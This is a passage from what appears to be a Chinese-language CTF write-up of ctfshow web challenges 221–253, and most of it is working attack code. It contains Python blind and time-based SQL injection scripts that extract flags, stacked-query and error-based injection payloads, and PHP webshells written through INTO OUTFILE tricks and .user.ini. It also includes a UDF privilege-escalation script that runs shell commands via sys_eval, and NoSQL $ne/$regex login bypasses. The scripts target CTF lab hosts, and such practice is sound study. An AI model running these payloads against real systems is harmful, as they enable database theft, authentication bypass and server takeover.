        # payload = "1) or if((left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0})='{1}'),{2},0)-- +".format(
        #     i, temp_target, sleep)
        # ctfshow_flagxcac
        # payload = "1) or if((left((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1),{0})='{1}'),{2},0)-- +".format(
        #     i, temp_target, sleep)
        # flagaabcc
        payload = "1) or if((left((select flagaabcc from ctfshow_flagxcac limit 0,1),{0})='{1}'),{2},0)-- +".format(
            i, temp_target, sleep)
        # print(payload)
        data = {
            "ip": payload,
            "debug": 0
        }
        start_time = time.time()
        r = requests.post(url, data)
        last_time = time.time() - start_time
        if last_time > right_time:
            # print("gogogo")
            target=temp_target
            print(target.lower())
            found = True
            break

    print(target.lower())

web221

limit注入，有版本限制，当时wolvctf2025的时候我看过一篇文章，算是浅浅的了解了一下，主要就是利用报错注入和时间盲注，写写payload

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SELECT User FROM user WHERE Host >0 ORDER BY Host LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 

SELECT User FROM user WHERE Host >0 ORDER BY Host LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000000,SHA1(1)),1))))),1);

打入即可

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?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)

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?page=1&limit=1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,BENCHMARK(10000000,SHA1(1)))),1)


?page=1&limit=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000000,SHA1(1)),1))))),1);

但是好像没有select，所以不成功，不然也不会只让拿库名了，报错可以直接打到所有

web222

有两种方法，一种是报错一种是sleep

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select concat(sleep(0.10),1);
select concat(if(1=2,"username",cot(0)));

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/api/?u=concat((if(ascii(substr((select database()),1,1))<100, sleep(0.05), 0)), 1)
/api/?u=concat((if(ascii(substr((select database()),1,1)<100), sleep(0.05),0)),1)

/api/?u=concat((if(ascii(substr((select database()),1,1))<100, 1, cot(0))), 1)

写个脚本

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import requests

url="http://333e3c35-f236-4d29-b6e1-65d85739e14f.challenge.ctf.show/api/?u="
i=0
target=""

while True:
    i+=1
    head =32
    tail=127
    while head+1< tail:
        mid=(head+tail)//2
        # payload="concat((if(ascii(substr((select database()),{0},1))<{1}, 1, cot(0))), 1)".format(i,mid)
        # ctfshow_web
        # payload = "concat((if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{0},1))<{1}, 1, cot(0))), 1)".format(
        #     i, mid)
        # ctfshow_flaga
        # payload = "concat((if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{0},1))<{1}, 1, cot(0))), 1)".format(
        #     i, mid)
        # id,flagaabc,info
        payload = "concat((if(ascii(substr((select flagaabc from ctfshow_flaga),{0},1))<{1}, 1, cot(0))), 1)".format(
            i, mid)

        # print(payload)
        r=requests.get(url=url+payload)
        # print(r.text)
        if "pass" in r.text:
            tail=mid
        else:
            head=mid

    if head != 32:
        target += chr(head)
        print(target)
    else:
        break
    print(target)

时间盲注的脚本也是随便写，这里我就不写了

web223

把数字过滤了，而且我好像写cot(false)也不能成功，换了一种payload，if(true,username,'a')

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import requests

url="http://2504134b-26db-45be-a355-a67ef4c37b8b.challenge.ctf.show/api/"
i=0
target=""

def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
        return num

while True:
    i+=1
    head =32
    tail=127
    while head+1< tail:
        mid=(head+tail)//2
        position=createNum(i)
        Mid_True=createNum(mid)

        mid=(head+tail)//2
        # payload="if(ascii(substr((database()),{0},true))<{1},username,false)".format(position,Mid_True)
        # ctfshow_web
        # payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{0},true))<{1},username,false)".format(
        #     position, Mid_True)

        # ctfshow_flagas
        # payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'),{0},true))<{1},username,false)".format(
        #     position, Mid_True)
        # id,flagasabc
        payload = "if(ascii(substr((select flagasabc from ctfshow_flagas),{0},true))<{1},username,false)".format(
            position,Mid_True)

        # print(payload)
        params={"u":payload}
        r=requests.get(url,params)
        # print(r.text)
        if "passwordAUTO" in r.text:
            tail=mid
        else:
            head=mid

    if head != 32:
        target += chr(head)
        print(target)
    else:
        break
    print(target)

web224

访问/robots.txt，得到 /pwdreset.php，上传恶意bin文件实现getshell，看文件知道注入的问题

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<?php
error_reporting(0);

if ($_FILES["file"]["error"] > 0) {
    die("Return Code: " . $_FILES["file"]["error"] . "<br />");
}

if ($_FILES["file"]["size"] > 10 * 1024) {
    die("文件过大: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />");
}

if (file_exists("upload/" . $_FILES["file"]["name"])) {
    echo $_FILES["file"]["name"] . " already exists. ";
} else {
    $filename = md5(md5(rand(1, 10000))) . ".zip";
    $filetype = (new finfo)->file($_FILES['file']['tmp_name']);
    
    if (preg_match("/image|png|bmap|jpg|jpeg|application|text|audio|video/i", $filetype)) {
        die("file type error");
    }
    
    $filepath = "upload/" . $filename;
    $sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('" . $filename . "','" . $filepath . "','" . $filetype . "');";
    
    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
    
    $con = mysqli_connect("localhost", "root", "root", "ctf");
    if (!$con) {
        die('Could not connect: ' . mysqli_error());
    }
    
    if (mysqli_multi_query($con, $sql)) {
        header("location:filelist.php");
    } else {
        echo "Error: " . $sql . "<br>" . mysqli_error($con);
    }
    
    mysqli_close($con);
}
?>

那这个闭合就完事了

web225

SUCTF2019的一道题我记得是

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/api?username=-1';show tables;--+
/api?username=-1';handler `ctfshow_flagasa` open;handler `ctfshow_flagasa` read first;--+

还是比较S的姿势当时

web226

使用prepare预编译一个语句，再execute执行

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/api/?username=-1';PREPARE abcd from 0x73686f772020646174616261736573;execute abcd;#
 
/api/?username=-1';PREPARE abcd from 0x73686F77207461626C6573;execute abcd;#

/api/?username=-1';PREPARE abcd from 0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;execute 
abcd;#

web227

Routines 是information_schema中的一个表，存储所有存储过程和函数的定义信息

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SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME = 'sp_name';

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/api/?username=-1';PREPARE abcd from 0x73656C656374202A2066726F6D20696E666F726D6174696F6E5F736368656D612E526F7574696E6573;execute 
abcd;#

web228

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/api/?username=-1';PREPARE a from 0x73656C656374202A2066726F6D2063746673685F6F775F666C616761736161
;execute a;#

web229

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/api/?username=-1';PREPARE abcd from 0x73686f772020646174616261736573;execute abcd;#
 
/api/?username=-1';PREPARE abcd from 0x73686F77207461626C6573;execute abcd;#

/api/?username=-1';PREPARE abcd from 0x73656c656374202a2066726f6d20666c6167;execute 
abcd;#

web230

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/api/?username=-1';PREPARE abcd from 0x73656c656374202a2066726f6d20666c61676161626278;execute 
abcd;#

web231

路由是/api/

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$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

update注入，在改变密码的同时将username也改变，插入Sql语句

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password=-1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=

password=-1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')#&username=

password=-1',username=(select flagas from flaga)#&username=

有个槽点就是这个东西只能慢慢的去看回显好像

web232

闭合md5即可

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password='),username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=

password='),username=(select  group_concat(column_name) from information_schema.columns where table_name='flagaa')#&username=

password='),username=(select flagass from flagaa)#&username=

web233

由于不能传入'，这里我们需要绕过一下，但是还是很简单，我们利用\将'转义即可

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password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

password=\&username=,username=(select  group_concat(column_name) from information_schema.columns where table_name='flag233333')#

password=\&username=,username=(select flagass233 from flag233333)#

web234

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password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

password=\&username=,username=(select  group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)#

password=\&username=,username=(select flagass23s3 from flag23a)#

web235

用innodb_index_stats和innodb_table_stats查找表名

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password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
banlist,ctfshow_user,flag23a1

password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a)#

这么看的话可能不是很好看懂，我再写个无列名注入的payload

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password=\&username=,username=(select target_column from (SELECT 1, 2 AS target_column, 3 UNION SELECT * FROM flag23a1 limit 1,1)temp)#

就很容易看懂了

web236

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password=\&username=,username=(select group_concat(table_name) from mysql.innodb_index_stats where database_name=database())#

password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flaga limit 1,2)a)#

web237

注入点在/api/insert.php

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$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";

insert注入来插入数据，一个注意的点就是不能覆盖数据，而且要多写个括号来闭合前面的value后面的(

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username=1',(select group_concat(schema_name) from information_schema.schemata))#&password=

username=2',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=

username=3',(select group_concat(column_name) from information_schema.columns where table_name='flag'))#&password=

username=3',(select flagass23s3 from flag))#&password=

web238

过滤了空格

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username=2',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()))#&password=

username=2',(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flagb'))#&password=

username=3',(select(group_concat(flag))from(ctfshow_web.flagb))#&password=

web239

抽象的是不能用注释绕过/**/只能用括号，sys.schema_table_statistics_with_buffer也不能使用

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username=5',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name)=database()))#&password=

username=6',((select(b)from(select(1),(2)as(b),(3)union(select(flagbb)limit(0),(1)))a)))#&password=

username=6',(select(group_concat(flag))from(ctfshow_web.flagbb)))#&password=

无列名注入也不能成功，直接猜flag

web240

爆破一下即可

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import requests

url="http://62418365-713b-4401-b5bf-514ffc6611f5.challenge.ctf.show/api/insert.php"

for a1 in "ab":
    for a2 in "ab":
        for a3 in "ab":
            for a4 in "ab":
                for a5 in "ab":
                    payload='flag'+a1+a2+a3+a4+a5
                    data={
                        'username':f"1',(select(flag)from({payload})))#",
                        'password':'1'
                    }
                    r=requests.post(url=url,data=data)

web241

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$sql = "delete from  ctfshow_user where id = {$id}";

delete语句本身不会返回数据，所以我们这里需要进行时间盲注

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import requests
import time

url = "http://027f52d9-f4d4-400e-abcb-55d154d072e5.challenge.ctf.show/api/delete.php"

target = ""
i = 0
right_time = 0.8
sleep="(SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I)"

while True:
    i += 1
    head = 32
    tail = 127
    while head + 1 < tail:
        mid = (head + tail) >> 1
        # payload="if((ascii(substr((select database()),{0},1)))<{1},{2},0)#".format(i,mid,sleep)
        # payload = "if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)))<{1},{2},0)#".format(
        #     i, mid,sleep)
        # banlist,ctfshow_user,flag
        # payload = "if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{0},1)))<{1},{2},0)#".format(
        #     i, mid, sleep)
        # id,flag
        payload = "if((ascii(substr((select flag from flag),{0},1)))<{1},{2},0)#".format(
            i, mid ,sleep)

        # print(payload)
        data = {
            "id": payload,
        }
        start_time = time.time()
        r = requests.post(url, data)
        last_time = time.time() - start_time
        if last_time > right_time:
            tail = mid
            # print("right")
        else:
            head = mid
            # print("wrong")

    if head != 32:
        target += chr(head)
        print(target)
    else:
        break
    print(target)

web242

使用lines terminated by\lines starting by\FIELDS TERMINATED BY\COLUMNS terminated by插入恶意webshell

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filename=1.php' FIELDS TERMINATED BY '<?php eval($_POST[1]); ?>';#

filename=3.php' lines starting by '<?php eval($_POST[1]); ?>';#

filename=4.php' lines terminated by '<?php eval($_POST[1]); ?>';#

filename=8.php' COLUMNS terminated by '<?php eval($_POST[1]); ?>';#

web243

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filename=.user.ini' lines starting by 'auto_prepend_file=1.txt\n'#

filename=1.txt' lines starting by '<?= eval($_POST[1]);?>'#

访问/demp/即可getshell

web244

报错注入开始，updatexml\extractvalue，关键词的区别是extractvalue(1,(查询语句))和updatexml(1,(查询语句),1)，注意括号就好了，路由为/api/

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/api/?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(schema_name) from information_schema.schemata),32,32),0x3d),1)--+

/api/?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,32),0x3d),1)--+

/api/?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),1,32),0x3d),1)--+

/api/?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(flag) from ctfshow_flag),1,32),0x3d),1)--+

/api/?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(flag) from ctfshow_flag),32,32),0x3d),1)--+

web245

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/api/?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(schema_name) from information_schema.schemata),32,32),0x3d))--+

/api/?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,32),0x3d))--+

/api/?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa'),1,32),0x3d))--+

/api/?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(flag1) from ctfshow_flagsa),1,32),0x3d))--+

/api/?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(flag1) from ctfshow_flagsa),32,32),0x3d))--+

web246

报错原理：

MySQL 在执行 GROUP BY 时，会为每个不同的 group 创建一个临时表
rand() 会在查询执行过程中多次计算，而不是只计算一次
当 rand() 生成的值导致重复的键值出现时，MySQL 试图插入重复键到临时表时会产生错误

所以有时候运气不好需要发好几次包才能成功

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/api/?id=1' union select 1,count(*),concat(mid((select group_concat(schema_name) from information_schema.schemata),32,32),0x7e,floor(rand()*2))a from information_schema.tables group by a--+

/api/?id=1' union select 1,count(*),concat((select schema_name from information_schema.schemata limit 4,1),0x7e,floor(rand()*2))a from information_schema.tables group by a--+

limit\mid\right\left\substring都是一样的其实，

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/api/?id=1' union select 1,count(*),concat(mid((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,32),0x7e,floor(rand()*2))a from information_schema.tables group by a--+

/api/?id=1' union select 1,count(*),concat(mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flags'),1,32),0x7e,floor(rand()*2))a from information_schema.tables group by a--+

/api/?id=1' union select 1,count(*),concat(mid((select group_concat(flag2) from ctfshow_flags),1,32),0x7e,floor(rand()*2))a from information_schema.tables group by a--+

web247

ceil()-向上取整函数 ceil(x) 返回不小于 x 的最小整数，即向上取整。例如，ceil(3.14) 返回 4。
round() - 四舍五入函数 round(x) 返回最接近 x 的整数，如果有两个整数与 x 距离相等，则返回偶数的整数。例如，round(3.6) 返回 4，round(3.5) 返回 4，round(3.4) 返回 3。

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?id=1' union select 1,count(*),concat(mid((select group_concat(schema_name) from information_schema.schemata),32,32),0x7e,round(rand()*2))a from information_schema.tables group by a--+

/api/?id=1' union select 1,count(*),concat(mid((select group_concat(schema_name) from information_schema.schemata),32,32),0x7e,ceil(rand()*2))a from information_schema.tables group by a--+

正常写就行，最后一句有个小细节flag?要正确解析需要使用反引号

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/api/?id=1' union select 1,count(*),concat(mid((select `flag?` from ctfshow_flagsa),1,32),0x7e,ceil(rand()*2))a from information_schema.tables group by a--+

/api/?id=1' union select 1,count(*),concat(mid((select `flag?` from ctfshow_flagsa),32,32),0x7e,ceil(rand()*2))a from information_schema.tables group by a--+

web248

UDF提权

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# 参考脚本
# 环境：Linux/MariaDB
import requests

url = 'http://1149521a-f0ba-48c5-adc6-4d6733e6a62e.challenge.ctf.show/api/?id='
code = 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codes = []
for i in range(0, len(code), 128):
    codes.append(code[i:min(i + 128, len(code))])

# 建临时表
sql = '''create table temp(data longblob)'''
payload = '''0';{};-- A'''.format(sql)
requests.get(url + payload)

# 清空临时表
sql = '''delete from temp'''
payload = '''0';{};-- A'''.format(sql)
requests.get(url + payload)

# 插入第一段数据
sql = '''insert into temp(data) values (0x{})'''.format(codes[0])
payload = '''0';{};-- A'''.format(sql)
requests.get(url + payload)

# 更新连接剩余数据
for k in range(1, len(codes)):
    sql = '''update temp set data = concat(data,0x{})'''.format(codes[k])
    payload = '''0';{};-- A'''.format(sql)
    requests.get(url + payload)

# 10.3.18-MariaDB
# 写入so文件
sql = '''select data from temp into dumpfile '/usr/lib/mariadb/plugin/udf.so\''''
payload = '''0';{};-- A'''.format(sql)
requests.get(url + payload)

# 引入自定义函数
sql = '''create function sys_eval returns string soname 'udf.so\''''
payload = '''0';{};-- A'''.format(sql)
requests.get(url + payload)

# 命令执行，结果更新到界面
sql = '''update ctfshow_user set pass=(select sys_eval('cat /flag.her?'))'''
payload = '''0';{};-- A'''.format(sql)
requests.get(url + payload)

# 查看结果
r = requests.get(url[:-4] + '?page=1&limit=10')
print(r.text)

web249

$user = $memcache->get($id);使用 Memcache 类的 get 方法从缓存中获取数据，$id 是传入的键，用于从缓存中获取与该键对应的值，当 get() 接收到一个数组时，它会尝试获取数组中所有元素对应的键。使用数组绕过

?id[]=flag

web250

$regex 是用于正则表达式匹配的操作符。

$regex 允许使用正则表达式进行模式匹配
语法：{ 字段: { $regex: 模式 } }

$ne 是 MongoDB 和其他 NoSQL 数据库中的"不等于"(not equal)操作符。

$ne 用于查找字段值不等于指定值的文档
语法：{ 字段: { $ne: 值 } }

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POST /api/ HTTP/1.1
Host: bea56c10-9388-468e-9496-d42a8a42cdb1.challenge.ctf.show
Cookie: cf_clearance=FfFkJ_rCEzOW7OasGYKDaQdTABU_BVynV76XtJXtEMk-1737092124-1.2.1.1-08wtjOyMUOY8ThDT33UiGmkBadSYm33GtZ8UEqnhMYn45iIQYIfmtkdn0rCEq2cLjGXf0XdRXNrM4molLyQ8vDQnKyYt1ixrhYI8wUqSsnE_reHQM3L6B3Gr67nSRP1zSwCAeJEqXOf02wzTlhdAoBkjyG4DbDdMuMDw6HuBeMCHow7p3zZfJTguhcrd.YRyR8ZagXt2h1DBgZSdnioehaLAzj2nA8s1weMd_HWveEI4ls1PWJz.ADM_9UTNjpCJL6Rlu3t3JqrqEctObC1eUoGYZYf3LWHGDpgLNPYoVjs
Content-Length: 31
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: https://bea56c10-9388-468e-9496-d42a8a42cdb1.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://bea56c10-9388-468e-9496-d42a8a42cdb1.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=0, i
Connection: close

username[$ne]=1&password[$ne]=1

web251

username=admin&password[$ne]=anything得到回显并不是flag，username[$ne]=admin&password[$ne]=anything得到flag

web252

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username[$regex]=^[^admin].*$&password[$ne]=1
username[$ne]=1&password[$regex]=ctfshow{
username[$regex]=f_l_a_g&password[$ne]=1

[^admin]是一个字符类的否定，表示匹配所有匹配任何不在括号内的字符，所以^[^admin]是匹配所有首字符不是a\d\m\i\n的用户名。

web253

正则遍历进行盲注，但是有个问题，我如果直接遍历的话容易给我搞到admin，所以我加了一个f，并且正则问题

f'^f{temp_target}.*$'只匹配f开头的字符串，f'f{temp_target}.*$'匹配f在字符串任意位置的字符串，那为什么不能用第一种呢，因为我使用了另一个payload，f'^[^admin]{temp_target}.*$'，来测试发现其实username的正则应该是ql_flag，MongoDB中的正则表达式默认是子字符串匹配的，就是说只要有那个关键词的字符串都可以匹配，所以网上大家写的脚本即使只有flag也可以正常运行

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import requests
import string
table = string.digits+string.ascii_lowercase+string.ascii_uppercase+'_{}-,'
url = 'http://8d9e641e-652a-4212-8690-201e1a4fcd01.challenge.ctf.show/api/index.php'
target = ''
for i in range(100):
    for j in table:
        temp_target = target+j
        payload1 = f'^[^admin]{temp_target}.*$'
        # payload1 = f'f{temp_target}.*$'
        data1 = {'username[$regex]':payload1
                ,'password[$ne]':1}

        payload2 = f'^{temp_target}.*$'
        data2 = {'username[$regex]':'^[^admin]ql_flag'
                 ,'password[$regex]':payload2}

        # print(payload1)
        # print(payload2)
        r = requests.post(url=url, data=data2).text
        if r"\u767b\u9646\u6210\u529f" in r:
            target += j
            print(target)
            break

小结

起初是因为疑难解答群最近挺多师傅问这些题目，但是回头发现自己也不是特别熟悉，就拿三天时间慢慢的做了做，发现还是挺有意思的，之前不甚懂的，现在基本随便看看就知道，就当复习了一下